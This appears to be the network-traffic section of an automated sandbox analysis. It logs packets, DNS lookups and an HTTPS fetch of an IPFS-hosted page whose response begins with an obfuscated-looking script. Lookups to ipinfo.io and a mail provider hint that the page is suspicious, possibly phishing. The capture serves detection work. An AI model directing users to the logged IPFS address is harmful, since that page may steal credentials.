Mar 28, 2024 14:15:03.302433968 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.305146933 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.348246098 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.603501081 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.603804111 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.603804111 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.603816032 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.603837013 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.603873968 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.603888035 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.641824961 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.641861916 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.641942978 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.642225027 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.642241001 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.005146980 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.005220890 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:04.006546974 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:04.006560087 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.006786108 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.007924080 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:04.048244953 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.359668970 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.359941006 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.360043049 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:04.360841990 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:04.360860109 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.360873938 CET	49732	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:04.360882044 CET	443	49732	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:04.788924932 CET	49678	443	192.168.2.16	20.189.173.10
Mar 28, 2024 14:15:05.103447914 CET	49678	443	192.168.2.16	20.189.173.10
Mar 28, 2024 14:15:05.148158073 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:05.148231983 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:05.148283958 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:15:05.707448959 CET	49678	443	192.168.2.16	20.189.173.10
Mar 28, 2024 14:15:05.950320005 CET	49673	443	192.168.2.16	204.79.197.203
Mar 28, 2024 14:15:06.156014919 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:15:06.156048059 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:06.919425964 CET	49678	443	192.168.2.16	20.189.173.10
Mar 28, 2024 14:15:09.256612062 CET	49680	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:15:09.319457054 CET	49678	443	192.168.2.16	20.189.173.10
Mar 28, 2024 14:15:09.558572054 CET	49680	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:15:10.164585114 CET	49680	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:15:11.377434015 CET	49680	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:15:13.788558006 CET	49680	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:15:14.124556065 CET	49678	443	192.168.2.16	20.189.173.10
Mar 28, 2024 14:15:15.548470974 CET	49673	443	192.168.2.16	204.79.197.203
Mar 28, 2024 14:15:18.601536989 CET	49680	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:15:23.730509996 CET	49678	443	192.168.2.16	20.189.173.10
Mar 28, 2024 14:15:28.203512907 CET	49680	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:15:37.468559027 CET	49697	80	192.168.2.16	23.207.202.23
Mar 28, 2024 14:15:37.468662977 CET	49698	80	192.168.2.16	23.207.202.23
Mar 28, 2024 14:15:37.566479921 CET	80	49698	23.207.202.23	192.168.2.16
Mar 28, 2024 14:15:37.566557884 CET	49698	80	192.168.2.16	23.207.202.23
Mar 28, 2024 14:15:37.571193933 CET	80	49697	23.207.202.23	192.168.2.16
Mar 28, 2024 14:15:37.571254015 CET	49697	80	192.168.2.16	23.207.202.23
Mar 28, 2024 14:15:39.006167889 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.006208897 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.006299973 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.006699085 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.006720066 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.401277065 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.401505947 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.403172970 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.403181076 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.403383970 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.404747009 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.448235035 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786273003 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786292076 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786310911 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786446095 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.786459923 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786587954 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.786772966 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786822081 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786835909 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.786865950 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.786955118 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.788881063 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.788892031 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:39.788923025 CET	49733	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:39.788928032 CET	443	49733	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:54.839540005 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:15:54.839565992 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:54.839715958 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:15:54.839914083 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:15:54.839925051 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:55.062747955 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:55.063112974 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:15:55.063122988 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:55.063419104 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:55.063735962 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:15:55.063787937 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:15:55.110502005 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:16:05.058450937 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:16:05.058532000 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:16:05.058660984 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:16:06.158981085 CET	49735	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:16:06.159003973 CET	443	49735	172.253.115.106	192.168.2.16
Mar 28, 2024 14:16:29.826773882 CET	49700	80	192.168.2.16	192.229.211.108
Mar 28, 2024 14:16:29.921494961 CET	80	49700	192.229.211.108	192.168.2.16
Mar 28, 2024 14:16:29.921664000 CET	49700	80	192.168.2.16	192.229.211.108

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 14:14:49.957612038 CET	60891	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:49.957751036 CET	61252	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.039243937 CET	53	62801	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.054792881 CET	53	60891	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.056380987 CET	53	63456	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.060323000 CET	53	61252	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.680362940 CET	53	59387	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.800144911 CET	64039	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.800535917 CET	49534	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.808816910 CET	52162	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.809040070 CET	64786	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.811718941 CET	56554	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.812078953 CET	56886	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.812351942 CET	55660	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.812609911 CET	59836	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.815535069 CET	56955	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.815792084 CET	64284	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:50.895828962 CET	53	64039	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.896689892 CET	53	49534	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.903887987 CET	53	52162	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.904396057 CET	53	64786	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.906850100 CET	53	56886	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.907277107 CET	53	55660	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.907555103 CET	53	56554	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.908330917 CET	53	50479	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.908557892 CET	53	59836	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.910552025 CET	53	64284	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.910757065 CET	53	59607	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.910887957 CET	53	56955	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:50.911442041 CET	53	50278	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.686652899 CET	53	58382	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.822971106 CET	62297	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:51.823101997 CET	49784	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:51.857589006 CET	49940	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:51.857861042 CET	53070	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:51.858956099 CET	65363	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:51.859121084 CET	63895	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:51.919137955 CET	53	62297	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.919414997 CET	53	49784	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.952325106 CET	53	49940	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.953337908 CET	53	53070	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.957499981 CET	53	59108	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.958210945 CET	53	65363	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:51.958285093 CET	53	63895	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:52.475976944 CET	62733	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:52.476105928 CET	51320	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:52.572299957 CET	53	62733	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:52.572582006 CET	53	51320	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:52.602569103 CET	53	58879	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:53.143627882 CET	53	62980	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:53.217576981 CET	54497	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:53.217726946 CET	62076	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:53.324740887 CET	53	54497	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:53.325309992 CET	53	62076	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:54.787487984 CET	64043	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:54.787615061 CET	59394	53	192.168.2.16	1.1.1.1
Mar 28, 2024 14:14:54.884468079 CET	53	64043	1.1.1.1	192.168.2.16
Mar 28, 2024 14:14:54.884604931 CET	53	59394	1.1.1.1	192.168.2.16
Mar 28, 2024 14:15:07.723499060 CET	53	60554	1.1.1.1	192.168.2.16
Mar 28, 2024 14:15:26.688621998 CET	53	53964	1.1.1.1	192.168.2.16
Mar 28, 2024 14:15:49.627258062 CET	53	52694	1.1.1.1	192.168.2.16
Mar 28, 2024 14:15:50.017647982 CET	53	53163	1.1.1.1	192.168.2.16
Mar 28, 2024 14:16:00.951498032 CET	138	138	192.168.2.16	192.168.2.255
Mar 28, 2024 14:16:18.460047960 CET	53	57674	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 28, 2024 14:14:49.957612038 CET	192.168.2.16	1.1.1.1	0x94e2	Standard query (0)	cloudflare-ipfs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:49.957751036 CET	192.168.2.16	1.1.1.1	0xf379	Standard query (0)	cloudflare-ipfs.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:50.800144911 CET	192.168.2.16	1.1.1.1	0x618d	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.800535917 CET	192.168.2.16	1.1.1.1	0xdeb	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:50.808816910 CET	192.168.2.16	1.1.1.1	0xb845	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.809040070 CET	192.168.2.16	1.1.1.1	0x6144	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:50.811718941 CET	192.168.2.16	1.1.1.1	0xfa7b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.812078953 CET	192.168.2.16	1.1.1.1	0x3dbd	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:50.812351942 CET	192.168.2.16	1.1.1.1	0x8826	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.812609911 CET	192.168.2.16	1.1.1.1	0x5c83	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:50.815535069 CET	192.168.2.16	1.1.1.1	0x532b	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.815792084 CET	192.168.2.16	1.1.1.1	0x2a4a	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Mar 28, 2024 14:14:51.822971106 CET	192.168.2.16	1.1.1.1	0xb8d3	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.823101997 CET	192.168.2.16	1.1.1.1	0xc803	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 28, 2024 14:14:51.857589006 CET	192.168.2.16	1.1.1.1	0xa4f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.857861042 CET	192.168.2.16	1.1.1.1	0x5580	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:51.858956099 CET	192.168.2.16	1.1.1.1	0xb392	Standard query (0)	www.domain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.859121084 CET	192.168.2.16	1.1.1.1	0x230	Standard query (0)	www.domain.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:52.475976944 CET	192.168.2.16	1.1.1.1	0x56c1	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:52.476105928 CET	192.168.2.16	1.1.1.1	0x428	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 28, 2024 14:14:53.217576981 CET	192.168.2.16	1.1.1.1	0x54fb	Standard query (0)	www.fastmail.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:53.217726946 CET	192.168.2.16	1.1.1.1	0x215b	Standard query (0)	www.fastmail.com	65	IN (0x0001)	false
Mar 28, 2024 14:14:54.787487984 CET	192.168.2.16	1.1.1.1	0x44e6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:54.787615061 CET	192.168.2.16	1.1.1.1	0xf16b	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 28, 2024 14:14:50.054792881 CET	1.1.1.1	192.168.2.16	0x94e2	No error (0)	cloudflare-ipfs.com		104.17.64.14	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.054792881 CET	1.1.1.1	192.168.2.16	0x94e2	No error (0)	cloudflare-ipfs.com		104.17.96.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.060323000 CET	1.1.1.1	192.168.2.16	0xf379	No error (0)	cloudflare-ipfs.com			65	IN (0x0001)	false
Mar 28, 2024 14:14:50.895828962 CET	1.1.1.1	192.168.2.16	0x618d	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.895828962 CET	1.1.1.1	192.168.2.16	0x618d	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.896689892 CET	1.1.1.1	192.168.2.16	0xdeb	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Mar 28, 2024 14:14:50.903887987 CET	1.1.1.1	192.168.2.16	0xb845	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.903887987 CET	1.1.1.1	192.168.2.16	0xb845	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.903887987 CET	1.1.1.1	192.168.2.16	0xb845	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.903887987 CET	1.1.1.1	192.168.2.16	0xb845	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.906850100 CET	1.1.1.1	192.168.2.16	0x3dbd	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 28, 2024 14:14:50.907277107 CET	1.1.1.1	192.168.2.16	0x8826	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.907277107 CET	1.1.1.1	192.168.2.16	0x8826	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.907555103 CET	1.1.1.1	192.168.2.16	0xfa7b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.907555103 CET	1.1.1.1	192.168.2.16	0xfa7b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.908557892 CET	1.1.1.1	192.168.2.16	0x5c83	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Mar 28, 2024 14:14:50.910552025 CET	1.1.1.1	192.168.2.16	0x2a4a	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 14:14:50.910887957 CET	1.1.1.1	192.168.2.16	0x532b	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 14:14:50.910887957 CET	1.1.1.1	192.168.2.16	0x532b	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.910887957 CET	1.1.1.1	192.168.2.16	0x532b	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.910887957 CET	1.1.1.1	192.168.2.16	0x532b	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:50.910887957 CET	1.1.1.1	192.168.2.16	0x532b	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.919137955 CET	1.1.1.1	192.168.2.16	0xb8d3	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.952325106 CET	1.1.1.1	192.168.2.16	0xa4f3	No error (0)	www.google.com		142.251.111.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.952325106 CET	1.1.1.1	192.168.2.16	0xa4f3	No error (0)	www.google.com		142.251.111.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.952325106 CET	1.1.1.1	192.168.2.16	0xa4f3	No error (0)	www.google.com		142.251.111.104	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.952325106 CET	1.1.1.1	192.168.2.16	0xa4f3	No error (0)	www.google.com		142.251.111.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.952325106 CET	1.1.1.1	192.168.2.16	0xa4f3	No error (0)	www.google.com		142.251.111.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.952325106 CET	1.1.1.1	192.168.2.16	0xa4f3	No error (0)	www.google.com		142.251.111.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.953337908 CET	1.1.1.1	192.168.2.16	0x5580	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 28, 2024 14:14:51.958210945 CET	1.1.1.1	192.168.2.16	0xb392	No error (0)	www.domain.com		104.18.42.197	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.958210945 CET	1.1.1.1	192.168.2.16	0xb392	No error (0)	www.domain.com		172.64.145.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:51.958285093 CET	1.1.1.1	192.168.2.16	0x230	No error (0)	www.domain.com			65	IN (0x0001)	false
Mar 28, 2024 14:14:52.572299957 CET	1.1.1.1	192.168.2.16	0x56c1	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:53.324740887 CET	1.1.1.1	192.168.2.16	0x54fb	No error (0)	www.fastmail.com	w6clx3bra20i.wpeproxy.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 14:14:53.324740887 CET	1.1.1.1	192.168.2.16	0x54fb	No error (0)	w6clx3bra20i.wpeproxy.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:53.324740887 CET	1.1.1.1	192.168.2.16	0x54fb	No error (0)	w6clx3bra20i.wpeproxy.com		141.193.213.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:53.325309992 CET	1.1.1.1	192.168.2.16	0x215b	No error (0)	www.fastmail.com	w6clx3bra20i.wpeproxy.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 14:14:53.325309992 CET	1.1.1.1	192.168.2.16	0x215b	No error (0)	w6clx3bra20i.wpeproxy.com			65	IN (0x0001)	false
Mar 28, 2024 14:14:54.884468079 CET	1.1.1.1	192.168.2.16	0x44e6	No error (0)	www.google.com		172.253.115.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:54.884468079 CET	1.1.1.1	192.168.2.16	0x44e6	No error (0)	www.google.com		172.253.115.104	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:54.884468079 CET	1.1.1.1	192.168.2.16	0x44e6	No error (0)	www.google.com		172.253.115.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:54.884468079 CET	1.1.1.1	192.168.2.16	0x44e6	No error (0)	www.google.com		172.253.115.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:54.884468079 CET	1.1.1.1	192.168.2.16	0x44e6	No error (0)	www.google.com		172.253.115.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:54.884468079 CET	1.1.1.1	192.168.2.16	0x44e6	No error (0)	www.google.com		172.253.115.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 14:14:54.884604931 CET	1.1.1.1	192.168.2.16	0xf16b	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

cloudflare-ipfs.com

https:

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

cdnjs.cloudflare.com

cdn.jsdelivr.net

code.jquery.com

www.domain.com

ipinfo.io

www.google.com

www.fastmail.com

slscr.update.microsoft.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49703	104.17.64.14	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:50 UTC	714	OUT	GET /ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/ HTTP/1.1 Host: cloudflare-ipfs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:50 UTC	1345	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 13:14:50 GMT Content-Type: text/html Content-Length: 139670 Connection: close CF-Ray: 86b7e2b19e1a82f3-IAD CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14390 Cache-Control: public, max-age=29030400, immutable ETag: "QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA" Vary: Accept-Encoding access-control-allow-headers: Content-Type access-control-allow-headers: Range access-control-allow-headers: User-Agent access-control-allow-headers: X-Requested-With access-control-allow-methods: GET access-control-expose-headers: Content-Length access-control-expose-headers: Content-Range access-control-expose-headers: X-Chunked-Output access-control-expose-headers: X-Ipfs-Path access-control-expose-headers: X-Ipfs-Roots access-control-expose-headers: X-Stream-Output x-cf-ipfs-cache-status: hit x-ipfs-path: /ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/ x-ipfs-roots: QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA Set-Cookie: __cf_bm=3vWY19tkHbCA8zUK27cNHCmCfpjTzuJJntpmRoX0kJc-1711631690-1.0.1.1-7sPA60dT25Tey90IHHJKIgpEzFI3IOVFEMFI5rEyqCAW9MOfrRTia8f4EJUdufO_oJ05ZTfgdoyhz_G7HdSPLA; path=/; expires=Thu, 28-Mar-24 13:44:50 GMT; domain=.cloudflare-ipfs.com; HttpOnly; Secure; SameSite=None Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 13:14:50 UTC	24	IN	Data Raw: 3c 73 63 72 69 70 74 3e 2f 2a 20 61 67 4e 76 4a 78 6c 41 76 4f 6e 43 68 Data Ascii: <script>/* agNvJxlAvOnCh
